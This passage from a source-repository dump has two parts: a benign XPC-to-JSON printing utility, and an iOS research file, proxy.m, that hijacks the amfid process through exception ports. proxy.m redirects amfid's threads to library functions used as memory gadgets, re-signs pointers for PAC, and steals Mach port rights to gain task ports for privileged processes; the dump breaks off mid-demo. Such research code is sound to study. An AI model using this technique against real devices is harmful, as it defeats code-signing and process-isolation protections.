nooo"); 240 | retval = -1; 241 | } 242 | } 243 | if(xpc) 244 | { 245 | xpc_object_t xobj = xpc_create_from_plist(addr, len); 246 | if(xobj) 247 | { 248 | xpc_object_t obj = xpc_get(xobj, argc - aoff, &argv[aoff]); 249 | if(obj) 250 | { 251 | xpcj_print(stdout, obj, json, raw); 252 | } 253 | else 254 | { 255 | WRN("XPC: bad key"); 256 | retval = -1; 257 | } 258 | xpc_release(xobj); 259 | } 260 | else 261 | { 262 | WRN("XPC says nooo"); 263 | retval = -1; 264 | } 265 | } 266 | 267 | out:; 268 | if(fd >= 0) 269 | { 270 | if(addr) munmap(addr, len); 271 | close(fd); 272 | } 273 | else if(addr) 274 | { 275 | free(addr); 276 | } 277 | return retval; 278 | } 279 | -------------------------------------------------------------------------------- /src/xpcj.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "common.h" 18 | #include "xpcj.h" 19 | 20 | static void xpcj_print_str(common_ctx_t *ctx, const char *str) 21 | { 22 | if(ctx->true_json) 23 | { 24 | fprintf(ctx->stream, "\""); 25 | char c; 26 | while((c = *str++) != '\0') 27 | { 28 | common_print_char(ctx, c); 29 | } 30 | fprintf(ctx->stream, "\""); 31 | } 32 | else 33 | { 34 | fprintf(ctx->stream, "\"%s\"", str); 35 | } 36 | } 37 | 38 | static void xpcj_print_internal(common_ctx_t *ctx, xpc_object_t obj) 39 | { 40 | xpc_type_t type = xpc_get_type(obj); 41 | if(type == XPC_TYPE_BOOL) 42 | { 43 | fprintf(ctx->stream, "%s", xpc_bool_get_value(obj) ? "true" : "false"); 44 | return; 45 | } 46 | else if(type == XPC_TYPE_DOUBLE) 47 | { 48 | fprintf(ctx->stream, "%lf", xpc_double_get_value(obj)); 49 | return; 50 | } 51 | else if(type == XPC_TYPE_INT64) 52 | { 53 | fprintf(ctx->stream, ctx->true_json ? "%llu" : "0x%llx", xpc_int64_get_value(obj)); 54 | return; 55 | } 56 | else if(type == XPC_TYPE_UINT64) 57 | { 58 | fprintf(ctx->stream, ctx->true_json ? "%llu" : "0x%llx", xpc_uint64_get_value(obj)); 59 | return; 60 | } 61 | else if(type == XPC_TYPE_STRING) 62 | { 63 | xpcj_print_str(ctx, xpc_string_get_string_ptr(obj)); 64 | return; 65 | } 66 | else if(type == XPC_TYPE_DATA) 67 | { 68 | size_t size = xpc_data_get_length(obj); 69 | if(ctx->true_json) 70 | { 71 | common_print_bytes(ctx, xpc_data_get_bytes_ptr(obj), size); 72 | } 73 | else if(size > 0) 74 | { 75 | int pad = (ctx->lvl + 1) * 4; 76 | fprintf(ctx->stream, "<\n%*s", pad, ""); 77 | const uint8_t *data = xpc_data_get_bytes_ptr(obj); 78 | char cs[17] = {}; 79 | int i; 80 | for(i = 0; i < size; i++) 81 | { 82 | if(i != 0 && i % 0x10 == 0) 83 | { 84 | fprintf(ctx->stream, " |%s|\n%*s", cs, pad, ""); 85 | memset(cs, 0, 17); 86 | } 87 | else if(i != 0 && i % 0x8 == 0) 88 | { 89 | fprintf(ctx->stream, " "); 90 | } 91 | fprintf(ctx->stream, "%02x ", data[i]); 92 | cs[(i % 0x10)] = (data[i] >= 0x20 && data[i] <= 0x7e) ? data[i] : '.'; 93 | } 94 | i = i % 0x10; 95 | if(i != 0) 96 | { 97 | if(i <= 0x8) 98 | { 99 | fprintf(ctx->stream, " "); 100 | } 101 | while(i++ < 0x10) 102 | { 103 | fprintf(ctx->stream, " "); 104 | } 105 | } 106 | fprintf(ctx->stream, " |%s|\n%*s>", cs, pad - 4, ""); 107 | } 108 | return; 109 | } 110 | else if(type == XPC_TYPE_DICTIONARY) 111 | { 112 | common_ctx_t newctx = 113 | { 114 | .true_json = ctx->true_json, 115 | .bytes_raw = ctx->bytes_raw, 116 | .first = true, 117 | .lvl = ctx->lvl + 1, 118 | .stream = ctx->stream, 119 | }; 120 | common_ctx_t *newctxp = &newctx; 121 | fprintf(ctx->stream, "{"); 122 | xpc_dictionary_apply(obj, ^bool(const char *key, xpc_object_t val) 123 | { 124 | if(newctxp->first) 125 | { 126 | fprintf(newctx.stream, "\n"); 127 | newctxp->first = false; 128 | } 129 | else 130 | { 131 | fprintf(newctx.stream, ",\n"); 132 | } 133 | fprintf(newctx.stream, "%*s", newctx.lvl * 4, ""); 134 | xpcj_print_str(newctxp, key); 135 | fprintf(newctx.stream, ": "); 136 | xpcj_print_internal(newctxp, val); 137 | return true; 138 | }); 139 | if(!newctx.first) 140 | { 141 | fprintf(ctx->stream, "\n%*s", ctx->lvl * 4, ""); 142 | } 143 | fprintf(ctx->stream, "}"); 144 | return; 145 | } 146 | else if(type == XPC_TYPE_ARRAY) 147 | { 148 | common_ctx_t newctx = 149 | { 150 | .true_json = ctx->true_json, 151 | .bytes_raw = ctx->bytes_raw, 152 | .first = true, 153 | .lvl = ctx->lvl + 1, 154 | .stream = ctx->stream, 155 | }; 156 | common_ctx_t *newctxp = &newctx; 157 | fprintf(ctx->stream, "["); 158 | xpc_array_apply(obj, ^bool(size_t idx, xpc_object_t val) 159 | { 160 | if(newctxp->first) 161 | { 162 | fprintf(newctx.stream, "\n"); 163 | newctxp->first = false; 164 | } 165 | else 166 | { 167 | fprintf(newctx.stream, ",\n"); 168 | } 169 | fprintf(newctx.stream, "%*s", newctx.lvl * 4, ""); 170 | xpcj_print_internal(newctxp, val); 171 | return true; 172 | }); 173 | if(!newctx.first) 174 | { 175 | fprintf(ctx->stream, "\n%*s", ctx->lvl * 4, ""); 176 | } 177 | fprintf(ctx->stream, "]"); 178 | return; 179 | } 180 | else 181 | { 182 | fprintf(ctx->stream, ""); 183 | return; 184 | } 185 | fprintf(ctx->stream, ""); 186 | } 187 | 188 | void xpcj_print(FILE *stream, xpc_object_t obj, bool true_json, bool bytes_raw) 189 | { 190 | common_ctx_t ctx = 191 | { 192 | .true_json = true_json, 193 | .bytes_raw = bytes_raw, 194 | .first = false, 195 | .lvl = 0, 196 | .stream = stream, 197 | }; 198 | xpcj_print_internal(&ctx, obj); 199 | fprintf(stream, "\n"); 200 | } 201 | -------------------------------------------------------------------------------- /src/xpcj.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #ifndef XPCJ_H 12 | #define XPCJ_H 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | typedef const struct _xpc_type_s * xpc_type_t; 19 | typedef void *xpc_object_t; 20 | typedef bool (^xpc_dictionary_applier_t)(const char *key, xpc_object_t value); 21 | typedef bool (^xpc_array_applier_t)(size_t index, xpc_object_t value); 22 | 23 | #define XPC_TYPE(type) const struct _xpc_type_s type 24 | #define XPC_TYPE_BOOL (&_xpc_type_bool) 25 | extern XPC_TYPE(_xpc_type_bool); 26 | #define XPC_TYPE_DOUBLE (&_xpc_type_double) 27 | extern XPC_TYPE(_xpc_type_double); 28 | #define XPC_TYPE_INT64 (&_xpc_type_int64) 29 | extern XPC_TYPE(_xpc_type_int64); 30 | #define XPC_TYPE_UINT64 (&_xpc_type_uint64) 31 | extern XPC_TYPE(_xpc_type_uint64); 32 | #define XPC_TYPE_DATA (&_xpc_type_data) 33 | extern XPC_TYPE(_xpc_type_data); 34 | #define XPC_TYPE_STRING (&_xpc_type_string) 35 | extern XPC_TYPE(_xpc_type_string); 36 | #define XPC_TYPE_DICTIONARY (&_xpc_type_dictionary) 37 | extern XPC_TYPE(_xpc_type_dictionary); 38 | #define XPC_TYPE_ARRAY (&_xpc_type_array) 39 | extern XPC_TYPE(_xpc_type_array); 40 | 41 | extern xpc_type_t xpc_get_type(xpc_object_t object); 42 | extern bool xpc_bool_get_value(xpc_object_t xbool); 43 | extern double xpc_double_get_value(xpc_object_t xdouble); 44 | extern int64_t xpc_int64_get_value(xpc_object_t xint); 45 | extern uint64_t xpc_uint64_get_value(xpc_object_t xuint); 46 | extern size_t xpc_data_get_length(xpc_object_t xdata); 47 | extern const void * xpc_data_get_bytes_ptr(xpc_object_t xdata); 48 | extern const char * xpc_string_get_string_ptr(xpc_object_t xstring); 49 | extern xpc_object_t xpc_dictionary_get_value(xpc_object_t xdict, const char *key); 50 | extern bool xpc_dictionary_apply(xpc_object_t xdict, xpc_dictionary_applier_t applier); 51 | extern xpc_object_t xpc_array_get_value(xpc_object_t xarray, size_t index); 52 | extern bool xpc_array_apply(xpc_object_t xarray, xpc_array_applier_t applier); 53 | extern void xpc_release(xpc_object_t object); 54 | extern xpc_object_t xpc_create_from_plist(const void *buf, size_t len); 55 | 56 | void xpcj_print(FILE *stream, xpc_object_t obj, bool true_json, bool bytes_raw); 57 | 58 | #endif 59 | -------------------------------------------------------------------------------- /stuff/proxy.m: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | // NOTE: 12 | // You NEED to compile this as arm64e if operating on arm64e processes! 13 | // Otherwise the address returned by dlsym() will be wrong. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | typedef void *xpc_object_t; 24 | extern xpc_object_t xpc_dictionary_create_reply(xpc_object_t request); 25 | extern void xpc_dictionary_set_int64(xpc_object_t xdict, const char *key, int64_t value); 26 | extern int xpc_pipe_routine_reply(xpc_object_t reply); 27 | extern int xpc_pipe_receive(mach_port_t port, xpc_object_t *msg); 28 | 29 | #ifdef __arm64e__ 30 | # define __fp __opaque_fp 31 | # define __lr __opaque_lr 32 | # define __sp __opaque_sp 33 | # define __pc __opaque_pc 34 | # define ptrtype void* 35 | # define xpaci(x) __asm__ volatile("xpaci %0" : "+r"(x)) 36 | #else 37 | # define ptrtype uint64_t 38 | # define xpaci(x) (void)(x) 39 | #endif 40 | 41 | // 0 = success 42 | // 1 = exit loop 43 | // rest = error 44 | typedef int (*callback_t)(_STRUCT_ARM_THREAD_STATE64 *state, size_t n, void *arg); 45 | 46 | static int handler(mach_port_t port, callback_t cb, void *arg) 47 | { 48 | task_t self = mach_task_self(); 49 | for(size_t n = 0; true; ++n) 50 | { 51 | #pragma pack(push, 4) 52 | typedef struct 53 | { 54 | mach_msg_header_t head; 55 | mach_msg_body_t body; 56 | mach_msg_port_descriptor_t thread; 57 | mach_msg_port_descriptor_t task; 58 | NDR_record_t NDR; 59 | exception_type_t exception; 60 | mach_msg_type_number_t codeCnt; 61 | integer_t code[2]; 62 | int flavor; 63 | mach_msg_type_number_t stateCnt; 64 | _STRUCT_ARM_THREAD_STATE64 state; 65 | mach_msg_trailer_t trailer; 66 | } Request; 67 | typedef struct { 68 | mach_msg_header_t head; 69 | NDR_record_t NDR; 70 | kern_return_t RetCode; 71 | int flavor; 72 | mach_msg_type_number_t stateCnt; 73 | _STRUCT_ARM_THREAD_STATE64 state; 74 | } Reply; 75 | #pragma pack(pop) 76 | Request req = {}; 77 | kern_return_t ret = mach_msg(&req.head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, (mach_msg_size_t)sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 78 | if(ret != KERN_SUCCESS) 79 | { 80 | NSLog(@"mach_msg_receive: %s\n", mach_error_string(ret)); 81 | return -1; 82 | } 83 | 84 | mach_port_deallocate(self, req.thread.name); 85 | mach_port_deallocate(self, req.task.name); 86 | 87 | NSLog(@"Got message: 0x%x 0x%x\n" 88 | " x0: 0x%016llx x1: 0x%016llx x2: 0x%016llx x3: 0x%016llx\n" 89 | " x4: 0x%016llx x5: 0x%016llx x6: 0x%016llx x7: 0x%016llx\n" 90 | " x8: 0x%016llx x9: 0x%016llx x10: 0x%016llx x11: 0x%016llx\n" 91 | "x12: 0x%016llx x13: 0x%016llx x14: 0x%016llx x15: 0x%016llx\n" 92 | "x16: 0x%016llx x17: 0x%016llx x18: 0x%016llx x19: 0x%016llx\n" 93 | "x20: 0x%016llx x21: 0x%016llx x22: 0x%016llx x23: 0x%016llx\n" 94 | "x24: 0x%016llx x25: 0x%016llx x26: 0x%016llx x27: 0x%016llx\n" 95 | "x28: 0x%016llx x29: 0x%016llx x30: 0x%016llx\n" 96 | " pc: 0x%016llx sp: 0x%016llx psr: 0x%08x" 97 | #ifdef __arm64e__ 98 | " flags: 0x%08x" 99 | #endif 100 | "\n" 101 | , req.code[0], req.code[1] 102 | , req.state.__x[ 0], req.state.__x[ 1], req.state.__x[ 2], req.state.__x[ 3], req.state.__x[ 4], req.state.__x[ 5], req.state.__x[ 6], req.state.__x[ 7], req.state.__x[ 8], req.state.__x[ 9] 103 | , req.state.__x[10], req.state.__x[11], req.state.__x[12], req.state.__x[13], req.state.__x[14], req.state.__x[15], req.state.__x[16], req.state.__x[17], req.state.__x[18], req.state.__x[19] 104 | , req.state.__x[20], req.state.__x[21], req.state.__x[22], req.state.__x[23], req.state.__x[24], req.state.__x[25], req.state.__x[26], req.state.__x[27], req.state.__x[28], (uint64_t)req.state.__fp 105 | , (uint64_t)req.state.__lr, (uint64_t)req.state.__pc, (uint64_t)req.state.__sp, req.state.__cpsr 106 | #ifdef __arm64e__ 107 | , req.state.__opaque_flags 108 | #endif 109 | ); 110 | 111 | int r = cb(&req.state, n, arg); 112 | if(r != 0 && r != 1) 113 | { 114 | return -1; 115 | } 116 | uint64_t pc = (uint64_t)req.state.__pc; 117 | xpaci(pc); 118 | uint64_t print_pc = pc; 119 | #ifdef __arm64e__ 120 | // iOS 12.1+ needs signing 121 | if(@available(iOS 12.1, *)) 122 | { 123 | req.state.__lr = __builtin_ptrauth_sign_unauthenticated(req.state.__lr, 0 /* ia */, __builtin_ptrauth_string_discriminator("lr")); 124 | req.state.__opaque_flags &= ~__DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR; 125 | pc = (uint64_t)__builtin_ptrauth_sign_unauthenticated((void*)pc, 0 /* ia */, __builtin_ptrauth_string_discriminator("pc")); 126 | } 127 | #endif 128 | req.state.__pc = (ptrtype)pc; 129 | NSLog(@"Calling 0x%llx", (uint64_t)print_pc); 130 | 131 | Reply rep = {}; 132 | rep.head.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(req.head.msgh_bits), 0); 133 | rep.head.msgh_remote_port = req.head.msgh_remote_port; 134 | rep.head.msgh_size = (mach_msg_size_t)sizeof(rep); 135 | rep.head.msgh_local_port = MACH_PORT_NULL; 136 | rep.head.msgh_id = req.head.msgh_id + 100; 137 | rep.head.msgh_reserved = 0; 138 | rep.NDR = NDR_record; 139 | rep.RetCode = KERN_SUCCESS; 140 | rep.flavor = req.flavor; 141 | rep.stateCnt = req.stateCnt; 142 | rep.state = req.state; 143 | 144 | ret = mach_msg(&rep.head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(rep), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 145 | if(ret != KERN_SUCCESS) 146 | { 147 | NSLog(@"mach_msg_send: %s\n", mach_error_string(ret)); 148 | return -1; 149 | } 150 | if(r != 0) 151 | { 152 | break; 153 | } 154 | } 155 | return 0; 156 | } 157 | 158 | typedef struct 159 | { 160 | // Our task 161 | mach_port_t exc_port; 162 | mach_port_t serviceport; 163 | volatile mach_port_t realport; 164 | // Other task 165 | uint64_t mem; 166 | uint32_t self_port; 167 | uint32_t proxy_port; 168 | } proxy_arg_t; 169 | 170 | static int proxy_setup_cb(_STRUCT_ARM_THREAD_STATE64 *state, size_t n, void *a) 171 | { 172 | static uint32_t other_port = 0; 173 | static uint64_t portarr = 0; 174 | proxy_arg_t *arg = a; 175 | 176 | // Always set lr to an invalid address so that we fault and get back here 177 | state->__lr = (ptrtype)0x41414141; 178 | switch(n) 179 | { 180 | case 0: 181 | // Get other port (usually 0x103, but ehh) 182 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "task_self_trap"); 183 | return 0; 184 | case 1: 185 | other_port = (uint32_t)state->__x[0]; 186 | NSLog(@"[proxy_setup] other_port: 0x%x", other_port); 187 | // Allocate some scratch space 188 | state->__x[0] = 0x10040; 189 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "malloc"); 190 | return 0; 191 | case 2: 192 | arg->mem = state->__x[0]; 193 | NSLog(@"[proxy_setup] mem: 0x%llx", arg->mem); 194 | if(!arg->mem) 195 | { 196 | return -1; 197 | } 198 | // Fetch the port we stashed onto scratch mem 199 | state->__x[0] = other_port; 200 | state->__x[1] = arg->mem; 201 | state->__x[2] = arg->mem + 8; 202 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_ports_lookup"); 203 | return 0; 204 | case 3: 205 | NSLog(@"[proxy_setup] mach_ports_lookup: %s", mach_error_string(state->__x[0])); 206 | if(state->__x[0] != KERN_SUCCESS) 207 | { 208 | return -1; 209 | } 210 | // Use a gadget func to read from mem 211 | // ldr x0, [x0, 8] 212 | // ret 213 | state->__x[0] = arg->mem - 0x8; 214 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 215 | return 0; 216 | case 4: 217 | portarr = state->__x[0]; 218 | // Now we have the array ptr, so read from that 219 | state->__x[0] = portarr - 0x8; 220 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 221 | return 0; 222 | case 5: 223 | // Both ports in one go 224 | arg->self_port = (uint32_t)state->__x[0]; 225 | arg->proxy_port = (uint32_t)(state->__x[0] >> 32); 226 | NSLog(@"[proxy_setup] ports: 0x%x 0x%x", arg->self_port, arg->proxy_port); 227 | // And free the mem 228 | state->__x[0] = other_port; 229 | state->__x[1] = portarr; 230 | state->__x[2] = 3 * sizeof(mach_port_t); // just the way it is 231 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_vm_deallocate"); 232 | return 0; 233 | case 6: 234 | NSLog(@"[proxy_setup] mach_vm_deallocate: %s", mach_error_string(state->__x[0])); 235 | if(state->__x[0] != KERN_SUCCESS) 236 | { 237 | return -1; 238 | } 239 | state->__x[0] = arg->self_port; 240 | state->__x[1] = arg->serviceport; 241 | state->__x[2] = MACH_MSG_TYPE_MOVE_RECEIVE; 242 | state->__x[3] = arg->mem; 243 | state->__x[4] = arg->mem + sizeof(mach_port_t); 244 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_port_extract_right"); 245 | return 1; // exit caller loop 246 | } 247 | return 1; 248 | } 249 | 250 | static int proxy_run_cb(_STRUCT_ARM_THREAD_STATE64 *state, size_t n, void *a) 251 | { 252 | proxy_arg_t *arg = a; 253 | uint32_t tmp; 254 | 255 | state->__lr = (ptrtype)0x69696969; 256 | if(n == 0) 257 | { 258 | NSLog(@"[proxy_setup] mach_port_extract_right: %s", mach_error_string(state->__x[0])); 259 | if(state->__x[0] != KERN_SUCCESS) 260 | { 261 | return -1; 262 | } 263 | // Receive message 264 | state->__x[0] = arg->mem + 0x40; 265 | state->__x[1] = MACH_RCV_MSG; 266 | state->__x[2] = 0; // send size 267 | state->__x[3] = 0x10000; // recv size 268 | state->__x[4] = arg->proxy_port; 269 | state->__x[5] = MACH_MSG_TIMEOUT_NONE; 270 | state->__x[6] = MACH_PORT_NULL; 271 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_msg"); 272 | return 0; 273 | } 274 | switch((n-1) % 9) 275 | { 276 | case 0: 277 | NSLog(@"[proxy_run] mach_msg: %s", mach_error_string(state->__x[0])); 278 | if(state->__x[0] != KERN_SUCCESS) 279 | { 280 | return -1; 281 | } 282 | // Get reply port 283 | // Load value (ldr x0, [x0, 8]) 284 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_remote_port) - 0x8; 285 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 286 | return 0; 287 | case 1: 288 | NSLog(@"[proxy_run] remote_port: 0x%x", (uint32_t)state->__x[0]); 289 | // Stash that into local port 290 | // Store value (str w1, [x0, 0x1c]) 291 | state->__x[1] = (uint32_t)state->__x[0]; 292 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_local_port) - 0x1c; 293 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "xpc_service_instance_set_binpref"); // for 64bit: xpc_service_instance_set_finalizer_f (str x1, [x0, 0x88]) 294 | return 0; 295 | case 2: 296 | // Get msg bits (ldr x0, [x0, 8]) 297 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_bits) - 0x8; 298 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 299 | return 0; 300 | case 3: 301 | tmp = (uint32_t)state->__x[0]; 302 | NSLog(@"[proxy_run] msgh_bits: 0x%x", tmp); 303 | tmp = (tmp & 0xffff0000) | ((tmp & 0xff) << 8) | ((tmp & 0xff00) >> 8); 304 | // Update msgh_bits (str w1, [x0, 0x1c]) 305 | state->__x[1] = tmp; 306 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_bits) - 0x1c; 307 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "xpc_service_instance_set_binpref"); 308 | return 0; 309 | case 4: 310 | // Get real target port 311 | // Only at this point can we assume that other threads have updated arg->realport. 312 | state->__x[0] = arg->self_port; 313 | state->__x[1] = arg->realport; 314 | state->__x[2] = MACH_MSG_TYPE_COPY_SEND; 315 | state->__x[3] = arg->mem; 316 | state->__x[4] = arg->mem + sizeof(mach_port_t); 317 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_port_extract_right"); 318 | return 0; 319 | case 5: 320 | NSLog(@"[proxy_run] mach_port_extract_right: %s", mach_error_string(state->__x[0])); 321 | if(state->__x[0] != KERN_SUCCESS) 322 | { 323 | return -1; 324 | } 325 | // Load value (ldr x0, [x0, 8]) 326 | state->__x[0] = arg->mem - 0x8; 327 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 328 | return 0; 329 | case 6: 330 | NSLog(@"[proxy_run] realport: 0x%x", (uint32_t)state->__x[0]); 331 | // Store value (str w1, [x0, 0x1c]) 332 | state->__x[1] = (uint32_t)state->__x[0]; 333 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_remote_port) - 0x1c; 334 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "xpc_service_instance_set_binpref"); 335 | return 0; 336 | case 7: 337 | // Load msg size (ldr x0, [x0, 8]) 338 | state->__x[0] = arg->mem + 0x40 + __builtin_offsetof(mach_msg_header_t, msgh_size) - 0x8; 339 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "platform_thread_get_unique_id"); 340 | return 0; 341 | case 8: 342 | // Send msg, then receive the next 343 | state->__x[2] = (mach_msg_size_t)state->__x[0]; // send size 344 | state->__x[0] = arg->mem + 0x40; 345 | state->__x[1] = MACH_SEND_MSG | MACH_RCV_MSG; 346 | state->__x[3] = 0x10000; // recv size 347 | state->__x[4] = arg->proxy_port; 348 | state->__x[5] = MACH_MSG_TIMEOUT_NONE; 349 | state->__x[6] = MACH_PORT_NULL; 350 | state->__pc = (ptrtype)dlsym(RTLD_DEFAULT, "mach_msg"); 351 | return 0; 352 | } 353 | // Should never get here, but eh 354 | return 1; 355 | } 356 | 357 | static void* proxy_server(void *a) 358 | { 359 | proxy_arg_t *arg = a; 360 | 361 | if(handler(arg->exc_port, &proxy_setup_cb, arg) == 0) 362 | { 363 | handler(arg->exc_port, &proxy_run_cb, arg); 364 | } 365 | 366 | return NULL; 367 | } 368 | 369 | static const char* err(int e) 370 | { 371 | return e == 0 ? "success" : strerror(e); 372 | } 373 | 374 | mach_port_t haxx(const char *path_of_executable, volatile mach_port_t **realport) 375 | { 376 | int r = 0; 377 | kern_return_t ret = 0; 378 | pid_t pid = -1; 379 | posix_spawnattr_t att; 380 | mach_port_t exc_port = MACH_PORT_NULL; 381 | mach_port_t strap_port = MACH_PORT_NULL; 382 | mach_port_t proxy_port = MACH_PORT_NULL; 383 | xpc_object_t request = NULL; 384 | xpc_object_t reply = NULL; 385 | proxy_arg_t *arg = NULL; 386 | pthread_t th; 387 | task_t self = mach_task_self(); 388 | 389 | ret = mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &exc_port); 390 | NSLog(@"mach_port_allocate: %s", mach_error_string(ret)); 391 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 392 | 393 | ret = mach_port_insert_right(self, exc_port, exc_port, MACH_MSG_TYPE_MAKE_SEND); 394 | NSLog(@"mach_port_insert_right: %s", mach_error_string(ret)); 395 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 396 | 397 | ret = mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &strap_port); 398 | NSLog(@"mach_port_allocate: %s", mach_error_string(ret)); 399 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 400 | 401 | ret = mach_port_insert_right(self, strap_port, strap_port, MACH_MSG_TYPE_MAKE_SEND); 402 | NSLog(@"mach_port_insert_right: %s", mach_error_string(ret)); 403 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 404 | 405 | ret = mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &proxy_port); 406 | NSLog(@"mach_port_allocate: %s", mach_error_string(ret)); 407 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 408 | 409 | ret = mach_port_insert_right(self, proxy_port, proxy_port, MACH_MSG_TYPE_MAKE_SEND); 410 | NSLog(@"mach_port_insert_right: %s", mach_error_string(ret)); 411 | if(ret != KERN_SUCCESS) return MACH_PORT_NULL; 412 | 413 | mach_port_t ports[] = { self, proxy_port }; 414 | ret = mach_ports_register(self, ports, 2); 415 | NSLog(@"mach_ports_register: %s", mach_error_string(r)); 416 | if(r != KERN_SUCCESS) return MACH_PORT_NULL; 417 | 418 | r = posix_spawnattr_init(&att); 419 | NSLog(@"posix_spawnattr_init: %s", err(r)); 420 | if(r != 0) return MACH_PORT_NULL; 421 | 422 | r = posix_spawnattr_setspecialport_np(&att, strap_port, TASK_BOOTSTRAP_PORT); 423 | NSLog(@"posix_spawnattr_setspecialport_np: %s", err(r)); 424 | if(r != 0) return MACH_PORT_NULL; 425 | 426 | r = posix_spawnattr_setexceptionports_np(&att, EXC_MASK_ALL, exc_port, EXCEPTION_STATE_IDENTITY, ARM_THREAD_STATE64); 427 | NSLog(@"posix_spawnattr_setexceptionports_np: %s", err(r)); 428 | if(r != 0) return MACH_PORT_NULL; 429 | 430 | r = posix_spawn(&pid, path_of_executable, NULL, &att, (char* const*)(const char*[]){ path_of_executable, NULL }, (char* const*)(const char*[]){ NULL }); 431 | NSLog(@"posix_spawn: %s", err(r)); 432 | if(r != 0) return MACH_PORT_NULL; 433 | 434 | r = posix_spawnattr_destroy(&att); 435 | NSLog(@"posix_spawnattr_destroy: %s", err(r)); 436 | if(r != 0) return MACH_PORT_NULL; 437 | 438 | r = xpc_pipe_receive(strap_port, &request); 439 | NSLog(@"xpc_pipe_receive: %d", r); 440 | if(r != 0) return MACH_PORT_NULL; 441 | 442 | reply = xpc_dictionary_create_reply(request); 443 | xpc_dictionary_set_int64(reply, "error", 0x9c); 444 | r = xpc_pipe_routine_reply(reply); 445 | NSLog(@"xpc_pipe_routine_reply: %d", r); 446 | if(r != 0) return MACH_PORT_NULL; 447 | 448 | arg = malloc(sizeof(proxy_arg_t)); 449 | NSLog(@"proxy arg: %p", arg); 450 | if(!arg) return MACH_PORT_NULL; 451 | 452 | arg->exc_port = exc_port; 453 | arg->serviceport = proxy_port; 454 | arg->realport = MACH_PORT_NULL; 455 | arg->mem = 0; 456 | arg->self_port = 0; 457 | arg->proxy_port = 0; 458 | 459 | r = pthread_create(&th, NULL, &proxy_server, arg); 460 | NSLog(@"pthread_create: %s", err(r)); 461 | if(r != 0) return MACH_PORT_NULL; 462 | 463 | pthread_detach(th); 464 | 465 | *realport = &arg->realport; 466 | 467 | return proxy_port; 468 | } 469 | 470 | void demo(void) 471 | { 472 | // This is just setup 473 | volatile mach_port_t *realport; 474 | mach_port_t proxy = haxx("/usr/libexec/amfid", &realport); 475 | kern_return_t ret; 476 | task_t task; 477 | pid_t pid; 478 | posix_spawnattr_t att; 479 | posix_spawnattr_init(&att); 480 | posix_spawnattr_setflags(&att, POSIX_SPAWN_START_SUSPENDED); 481 | posix_spawn(&pid, "/usr/libexec/backboardd", NULL, &att, (char* const*)(const char*[]){ "/usr/libexec/backboardd", NULL }, (char* const*)(const char*[]){ NULL }); 482 | posix_spawnattr_destroy(&att); 483 | task_for_pid(mach_task_self(), pid, &task); 484 | NSLog(@"task: 0x%x", task); 485 | 486 | // This is the task port we normally couldn't use. 487 | #if 0 488 | // And now instead of this: 489 | ret 